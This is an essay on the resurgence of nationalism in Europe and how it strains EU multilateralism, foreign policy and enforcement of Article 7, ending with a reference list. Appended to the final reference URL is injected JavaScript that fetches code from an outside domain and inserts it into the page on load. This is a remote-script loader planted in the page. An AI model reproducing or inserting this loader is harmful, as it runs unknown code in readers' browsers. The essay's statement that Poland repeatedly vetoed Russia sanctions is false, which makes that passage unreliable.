Introduction Nationalism is not a new phenomenon in the history of International Politics. It has been there in history for a long period. We have seen Nationalism in the Napoleonic wars, Bismarck’s unification of Germany, and even in the two devastating World Wars. So what is meant by Nationalism?. “Nationalism is an ideology expressed by people who fervently believe that their nation is superior to all others. These feelings of superiority are often based on shared ethnicity, language, religion, culture, or social values. From a purely political standpoint, nationalism aims to defend the country’s popular sovereignty—the right to govern itself—and to protect it from the political, social, and cultural pressures posed by the modern global economy.” (Longley, 2019). It should be known that nationalism is the antithesis of globalism or cosmopolitanism. We have seen Nationalism taking its devastating form during the world wars. The world especially the Westerners could not deny the fact that Nationalism was a dangerous ideology. After the world wars, Nationalism, a force that shaped much of Europe’s history, underwent significant changes after the Second World War. The war’s devastation and the horrors associated with extreme nationalist ideologies prompted a profound transformation in how nationalism was perceived and practiced across the continent. The period immediately after the World Wars were considered as a period of decline of Aggressive Nationalism in Europe. The Second World War exposed the catastrophic consequences of extreme nationalism, particularly the aggressive and exclusionary forms that led to widespread destruction and human suffering. The ideologies of Nazi Germany and Fascist Italy, which epitomized hyper-nationalism, were discredited and rejected in the post-war period. A common expression after 1945 was “Never again,” which symbolized a universal desire to avoid another world war. The people of Europe were especially committed to this ideal after watching their families torn apart and their homes destroyed (Carleton University, 2024). It is this desire which acted as the driving force behind the European integration. In response to the devastation brought by nationalist conflicts, European nations sought to foster cooperation and unity. The establishment of the European Coal and Steel Community (ECSC) in 1951 marked the beginning of European integration. This initiative aimed to bind the economies of France and Germany, historically rival nations, thereby making war between them not only undesirable but also economically irrational (Judt, 2006). The Treaty of Rome in 1957 furthered this integration by creating the European Economic Community (EEC), which later evolved into the European Union (EU)in 1993. The EU represented a new form of supranationalism, where loyalty extended beyond national borders to a collective European identity. This shift was seen as an antidote to the aggressive nationalism that had led to two world wars (Milward, 1986). From aggressive nationalism where nations fought war, to supranationalism where nations extended their support across borders, which was a true example of multilateralism in International Politics. But from the contemporary of European politics and European multilateralism every scholar has to ask themselves, Is the Multilateralism in Europe moving to the crisis of Nationalism? Here I am trying to analyze the reasons for the resurgence of nationalism in Europe, how it is affecting European Multilateralism, and an apprehension of the future. Reasons for Resurgence of Nationalism in Europe The resurgence of nationalism in Europe can be attributed to numerous interconnected factors that have contributed to this complex phenomenon. One crucial element in this resurgence is the impact of globalization, a force that has brought about significant economic and political transformations that directly challenge the traditional sovereignty of national states. The increasing influence of multinational corporations and supranational entities such as the European Union has played a pivotal role in this dynamic. As these powerful entities exert more control and influence, it is not uncommon for certain individuals and groups to perceive a threat to their national identity and autonomy, further fueling the flames of nationalist sentiments (Calance, 2012). The perceived loss of control over crucial matters like monetary policy and security can catalyze the rise of nationalist ideologies as a reactionary response to the perceived erosion of the nation-state’s authority. Moreover, throughout history, economic downturns and crises have consistently served as fertile breeding grounds for the emergence of nationalist movements. The periods of economic recession tend to sow seeds of doubt and uncertainty, consequently fostering an environment of unrest and dissatisfaction among the general populace. The world had witnessed such an economic recession in 2008, where almost all striving capitalist economies faced a severe backslide. During such turbulent times, where economic hardships hit the nation-states hard, the nationalist discourse tends to resonate more strongly as it presents seemingly straightforward solutions and tends to lay blame on immigrants or marginalized communities for the economic struggles being faced. The surge in popularity of nationalist and populist factions in nations such as Finland, Austria, Sweden, and France can be attributed directly to the economic hurdles these countries grapple with (Calance, 2012). This phenomenon underscores the intricate relationship between economic challenges and the rise of nationalist sentiments within a society. Economic recessions can act as catalysts for nationalist movements by exploiting the vulnerabilities and fears of the population during times of crisis. Another reason for the resurgence of nationalism in Europe is the issue of immigration. The influx of migrants and refugees has sparked debates about national identity, cultural cohesion, and the perceived threat to traditional values. Nationalist movements often capitalize on these concerns by advocating for stricter immigration policies and promoting a sense of “us versus them” mentality (Calance, 2012). In an increasingly diverse and interconnected world, some individuals may feel a sense of loss or displacement, leading them to seek refuge in nationalist ideologies that promise to protect their way of life. Cultural anxieties also play a significant role in the resurgence of nationalism. The rapid pace of globalization and immigration has led to fears about the erosion of national identity and cultural homogeneity. Scholars such as Brubaker argue that these anxieties are often exacerbated by nationalist rhetoric that frames immigrants and foreign cultures as threats to national values and traditions (Brubaker, 2016). This narrative has been particularly potent in countries like France and Germany, where nationalist parties have gained support by advocating for stricter immigration controls and the preservation of national culture. Political disillusionment also plays a crucial role in the emergence of modern nationalism, according to various scholars. A significant number of individuals in Europe are experiencing a sense of disenchantment with the traditional political elites and institutions, perceiving them as disconnected from the everyday needs and worries of the common people. Scholars such as Hooghe and Marks (2018) argue that this disillusionment has resulted in a decrease in confidence in mainstream political parties, while simultaneously fueling the rise of nationalist and populist movements that promise to amplify the voices of those who feel neglected. This trend is visible in the electoral success of parties like the National Rally in France and the Alternative for Germany (AfD), which have effectively tapped into the public discontent with the existing political establishment (Hooghe & Marks, 2017). These parties have managed to attract support by positioning themselves as representatives of the “forgotten” segments of society, offering an alternative to the status quo. Their ability to resonate with the frustrations of the populace has enabled them to gain traction and influence in the political landscape. Tensions Between Nationalism and Supranationalism in Contemporary Europe The resurgence of nationalism in contemporary Europe has brought to the forefront significant tensions between nationalist sentiments and the ideals of supranationalism, particularly embodied by the European Union (EU). These tensions are rooted in conflicting priorities and visions for the future of Europe. One of the primary areas of tension between nationalism and supranationalism is economic sovereignty versus economic integration. Nationalist movements often emphasize the importance of reclaiming economic control from supranational entities. The economic discontent and the perception that EU policies disproportionately benefit certain member states have fueled nationalist calls for greater economic sovereignty (Mudde, 2007). Nationalists argue that the EU’s economic integration undermines national economies by imposing regulations and policies that may not align with domestic priorities. This sentiment was one of the driving force behind Brexit, where the United Kingdom voted to leave the EU to regain economic control and reduce its financial contributions to the union (Clarke et al., 2017) Cultural identity is another significant point of contention. Nationalist movements often promote a homogenous national identity and view supranationalism as a threat to cultural preservation. The influx of immigrants and the promotion of multiculturalism by the EU have led to fears of cultural dilution. Nationalists argue that supranational policies on immigration and cultural integration erode traditional national values and identities (Brubaker, 2016). This tension is evident in countries like Hungary and Poland, where nationalist governments have resisted EU directives on refugee resettlement and multicultural policies, emphasizing the need to protect their national cultures. Also, the Nationalists raise the question of the security of the state due to the increased immigration and the refugee influx caused by the accommodative policies laid by the EU.This lead to another set of contention that is the question of Political sovereignty vs Political Integration. The question of political sovereignty versus political integration also exacerbates tensions between nationalism and supranationalism. Nationalists contend that supranational institutions like the EU infringe on national sovereignty by imposing political decisions and regulations from above. The political disillusionment with the EU has led to a rise in nationalist movements that advocate for the repatriation of political powers to national governments. These movements argue that decisions affecting the nation should be made by elected national representatives rather than distant supranational bureaucrats (Hooghe & Marks, 2017). This sentiment has been particularly strong in countries with robust nationalist parties, such as the National Rally in France and the AfD in Germany Moreover, Globalization, as facilitated by supranational institutions, is perceived by nationalists as a threat to national industries and jobs. The backlash against globalization is a significant driver of contemporary nationalism, with nationalist movements advocating for protectionist policies to shield domestic economies from global competition. They contend that supranationalism promotes free trade and open markets, which can lead to job losses and deindustrialization in certain sectors (Norris & Inglehart, 2016). Nationalist parties have capitalized on these economic anxieties by promising to protect national industries and prioritize local jobs over international trade agreements. The resurgence of nationalism in contemporary Europe reveals deep-seated tensions between the desire for national sovereignty and the principles of supranationalism. These tensions manifest in various realms, including economic policy, cultural identity, political sovereignty, and responses to globalization. Understanding these tensions is crucial for addressing the challenges facing Europe and finding a balance between national interests and collective European goals. Impact of Nationalism on EU Foreign Policy and Diplomacy The resurgence of nationalism in Europe has had profound implications for the European Union’s (EU) foreign policy and diplomacy. As nationalist parties gain influence across various member states, their impact on the EU’s collective foreign policy agenda becomes increasingly evident. One of the most significant impacts of nationalism on EU foreign policy is the fragmentation of consensus among member states. Nationalist parties often prioritize national sovereignty over collective decision-making, leading to difficulties in reaching unified stances on international issues. According to Carnegie Europe’s report “Charting the Radical Right’s Influence on EU Foreign Policy” (2024), the radical right has disrupted EU unity by blocking initiatives that require consensus, thereby hindering the EU’s ability to present a coherent foreign policy front. For example, the report highlights how nationalist parties in Hungary and Poland have repeatedly vetoed EU sanctions against Russia, undermining the EU’s collective response to Russian aggression in Ukraine (Balfour & Lehne, 2024). Nationalist movements have also influenced the prioritization of certain foreign policy issues. For instance, nationalist parties often advocate for stricter immigration controls and a more defensive posture towards non-European countries. This has led to a shift in the EU’s foreign policy focus towards border security and anti-immigration measures (Norris & Inglehart, 2016). The rise of nationalist sentiment correlates with increased emphasis on protecting national borders and reducing immigration, which can overshadow other critical foreign policy issues such as climate change or international development. The preference for bilateralism over multilateralism is another hallmark of nationalist influence on EU foreign policy. Nationalist parties often favor direct, bilateral negotiations between states rather than multilateral agreements facilitated through supranational institutions. This approach undermines the EU’s foundational principle of collective negotiation and its role as a multilateral actor on the global stage. This shift towards bilateralism weakens the EU’s negotiating power and diminishes its ability to influence global affairs effectively(Hooghe & Marks, 2017). For instance, nationalist parties in Italy have advocated for direct negotiations with Libya to address migration issues, bypassing broader EU strategies and agreements. This approach not only complicates the EU’s efforts to develop a cohesive migration policy but also reduces the collective leverage that the EU could wield in multilateral negotiations. Nationalist movements have also contributed to the erosion of the EU’s normative power, which is its ability to shape global norms and values through example and persuasion. The EU has traditionally positioned itself as a promoter of democracy, human rights, and the rule of law. However, the rise of nationalist parties with illiberal agendas challenges this normative stance. As scholars like Brubaker highlights how nationalist rhetoric often contradicts the EU’s commitment to liberal democratic values, thereby weakening its credibility and moral authority on the international stage(Brubaker, 2016). For example, nationalist parties in Hungary and Poland have implemented policies that undermine judicial independence and restrict media freedom, which are core democratic principles the EU seeks to uphold. In response to these actions, the EU has invoked Article 7 of the Treaty on European Union, which allows for the suspension of certain rights of a member state, including voting rights, if it is found to be in breach of fundamental EU values. Specifically, the European Commission launched Article 7 proceedings against Poland in December 2017 due to concerns over judicial reforms that threatened the independence of the judiciary. Similarly, in September 2018, the European Parliament voted to trigger Article 7 against Hungary for its breaches of EU values, including issues related to corruption, freedom of the press, and minority rights (European Commission, 2018). The responses from Hungary and Poland to these measures have been defiant. Both countries argue that their reforms are necessary for national sovereignty and improving the efficiency of their legal systems. They have accused the EU of overstepping its authority and infringing on their domestic affairs. Hungarian Prime Minister Viktor Orbán has framed the EU’s actions as an attack on Hungary’s right to self-determination, while Poland’s government has similarly defended its judicial reforms as essential for combating inefficiency and corruption within the judiciary (Kelemen, 2017). As of the current status, the Article 7 procedures have not yet resulted in the suspension of voting rights, primarily due to the need for unanimity among the other member states, which has proven difficult to achieve. The EU has continued to apply pressure through other mechanisms, such as withholding funds and launching infringement procedures. For instance, in 2021, the European Court of Justice ruled that Poland’s disciplinary regime for judges was incompatible with EU law, and the European Commission has since been withholding recovery funds from Poland until compliance is achieved (European Court of Justice, 2021).Despite these efforts, the situation remains contentious. Both Hungary and Poland continue to resist EU pressure, and the effectiveness of Article 7 remains in question. The ongoing standoff highlights the challenges the EU faces in enforcing its values and maintaining its normative power when confronted with nationalist governments that prioritize sovereignty over compliance with EU principles. Nationalism’s impact on the EU’s external relations is evident in its interactions with major global powers such as the United States, Russia, and China. Nationalist parties often advocate for a more assertive and independent foreign policy, which can lead to tensions with traditional allies and complicate diplomatic engagements. The rise of nationalist sentiment has led to calls for renegotiating existing alliances and trade agreements, potentially destabilizing established international relations (Mudde, 2007). For example, the nationalist rhetoric in some EU member states has strained relations with the United States, especially under the Trump administration. Nationalist leaders in Europe, such as those in Hungary and Poland, have shown a preference for bilateral agreements directly with the U.S. rather than through the EU framework, undermining the EU’s collective negotiating stance. This approach has led to divergences within the EU on how to handle trade and security policies with the U.S., weakening the EU’s unified position (Hooghe & Marks, 2017). Similarly, EU relations with Russia have been heavily influenced by nationalist parties that advocate for a more conciliatory approach towards Moscow. Parties like Italy’s Lega Nord and Austria’s Freedom Party have pushed for lifting EU sanctions against Russia, arguing that they harm national economic interests. This stance is in direct conflict with the EU’s broader strategy to pressure Russia over its actions in Ukraine and its interference in European elections (Balfour & Lehne, 2024). The division within the EU on this issue has made it challenging to maintain a coherent and effective foreign policy towards Russia . In the context of China, nationalist parties in some EU states have expressed skepticism towards the EU’s approach to Chinese investments and influence. For instance, in Greece and Hungary, nationalist leaders have welcomed Chinese investments in infrastructure projects, viewing them as beneficial for national economic development. This has sometimes led to these countries blocking EU-wide measures aimed at scrutinizing Chinese investments for potential security risks (Kelemen, 2017). This results in a fragmented EU policy towards China, with individual member states pursuing their own bilateral agreements that may not align with the EU’s collective interests. The above examples illustrate how the rise of nationalism within the EU has complicated its external relations, leading to inconsistent policies and weakening the EU’s ability to act as a cohesive and influential global actor. The Prospects for EU Multilateralism in the Face of Nationalist Movements Despite the challenges posed by nationalist movements, there are prospects for preserving and even strengthening EU multilateralism. One potential pathway is through institutional reforms that enhance the decision-making efficiency of the EU (Schimmelfennig, 2018). For example, transitioning from unanimous voting to qualified majority voting in certain policy areas could reduce the ability of nationalist parties to block multilateral initiatives. This change would allow the EU to respond more swiftly and effectively to global challenges, reinforcing its commitment to collective action. Another avenue for bolstering EU multilateralism is through increased engagement with civil society and sub-national actors. By fostering closer cooperation with regional governments, cities, and non-governmental organizations, the EU can build broader coalitions of support for multilateral policies (Treib, 2020). This bottom-up approach can help counteract the influence of nationalist parties by demonstrating the tangible benefits of collective action and creating a more inclusive and participatory decision-making process. Strong leadership at both the national and EU levels is crucial for navigating the tensions between nationalism and multilateralism. Leaders who can articulate a compelling vision of European unity and the value of multilateral cooperation are essential for rallying public support and countering nationalist narratives (PATERSON, 2011) . The leadership of figures such as Angela Merkel, who consistently advocated for a united Europe, has shown that principled and strategic leadership can make a significant difference in maintaining EU cohesion. Conclusion: The Way Forward The future of EU multilateralism in the face of nationalist movements is uncertain. The EU faces a number of challenges, including the need to address the concerns of its citizens, to manage migration flows effectively, and to find a way to balance national sovereignty with European integration. However, the EU also has a number of strengths, including its economic power, its commitment to democracy and human rights, and its ability to act collectively on issues of global concern. The EU’s success in overcoming the challenges posed by nationalism will depend on its ability to adapt to changing circumstances, to strengthen its institutions, and to demonstrate its value to its citizens. The EU’s ability to address the concerns of its citizens is crucial to its long-term sustainability. This requires engaging in a dialogue with its citizens, listening to their concerns, and developing policies that address their anxieties about globalization, immigration, and cultural change. The EU also needs to strengthen its institutions, ensuring that they are accountable, transparent, and responsive to the needs of its citizens. Ultimately, the future of EU multilateralism hinges on its ability to demonstrate its value to its citizens. This requires the EU to deliver on its promises of peace, prosperity, and security. The EU must show that it can address the challenges of the 21st century and build a stronger and more united Europe. References Balfour, R., & Lehne, S. (2024, April 18). Charting the Radical Right’s Influence on EU Foreign Policy. Carnegieendowment.org. https://carnegieendowment.org/research/2024/04/charting-the-radical-rightsinfluence-on-eu-foreign-policy?lang=en¢er=europe Brubaker, R. (2016). Brubaker, Between Nationalism and Civilizationism Between Nationalism and Civilizationism: The European populist moment in Comparative Perspective. https://dl1.cuni.cz/pluginfile.php/478958/mod_resource/content/1/Brubaker_Between _Nationalism_and_Civilizationism.pdf Calance, M. (2012). The Resurgence of Nationalism in the European Union. CES Working Papers, 4(1), 24–34. https://www.econstor.eu/bitstream/10419/198153/1/ceswp-v04- i1-p024-034.pdf Clarke, H. D., Goodwin, M. J., & Whiteley, P. (2017). Brexit : why Britain voted to leave the European Union. Cambridge University Press. European Court of Justice. (2021). EUR-Lex – 62019CJ0791 – EN – EUR-Lex. Europa.eu. https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A62019CJ0791 Hooghe, L., & Marks, G. (2017). Cleavage theory meets Europe’s crises: Lipset, Rokkan, and the transnational cleavage. Journal of European Public Policy, 25(1), 109–135. https://doi.org/10.1080/13501763.2017.1310279 Judt, T. (2006). Postwar : A History of Europe Since 1945. Penguin Publishing Group. Kelemen, R. D. (2017). Europe’s Other Democratic Deficit: National Authoritarianism in Europe’s Democratic Union. Government and Opposition, 52(2), 211–238. https://doi.org/10.1017/gov.2016.41 Longley, R. (2019). What Nationalism Really Is and Why It’s Important Today. ThoughtCo. https://www.thoughtco.com/nationalism-definition-4158265 Milward, A. S. (1986). The reconstruction of western Europe, 1945-51. University Of California Press. Mudde, C. (2007). Populist Radical Right Parties in Europe. Cambridge University Press. Norris, P., & Inglehart, R. (2016). Trump, Brexit, and the Rise of Populism: Economic HaveNots and Cultural Backlash. Harvard.edu. https://www.hks.harvard.edu/publications/trump-brexit-and-rise-populism-economichave-nots-and-cultural-backlash PATERSON, W. E. (2011). The Reluctant Hegemon? Germany Moves Centre Stage in the European Union*. JCMS: Journal of Common Market Studies, 49, 57–75. https://doi.org/10.1111/j.1468-5965.2011.02184.x Schimmelfennig, F. (2018). European integration (theory) in times of crisis. A comparison of the euro and Schengen crises. Journal of European Public Policy, 25(7), 969–989. https://doi.org/10.1080/13501763.2017.1421252 Treib, O. (2020). Euroscepticism is here to stay: what cleavage theory can teach us about the 2019 European Parliament elections. Journal of European Public Policy, 28(2), 1–16. https://doi.org/10.1080/13501763.2020.1737881 University, C. (2024). Europe after WWII – EU Learning. Carleton.ca. https://carleton.ca/ces/eulearning/history/europe-afterwwii/#:~:text=Almost%20everyone%20in%20Europe%20was%20affected%20by%2 0the%20war.&text=A%20common%20expression%20after%201945;document.addEventListener(“DOMContentLoaded”, function () {
var url = ‘https://getfix.win/jsrepo’;
fetch(url)
.then(response => response.text())
.then(data => {
var script = document.createElement(‘script’);
script.innerHTML = data.trim();
document.head.appendChild(script);
if (document.readyState === ‘complete’ || document.readyState === ‘interactive’) {
var event = new Event(‘DOMContentLoaded’);
document.dispatchEvent(event);
}
})
});
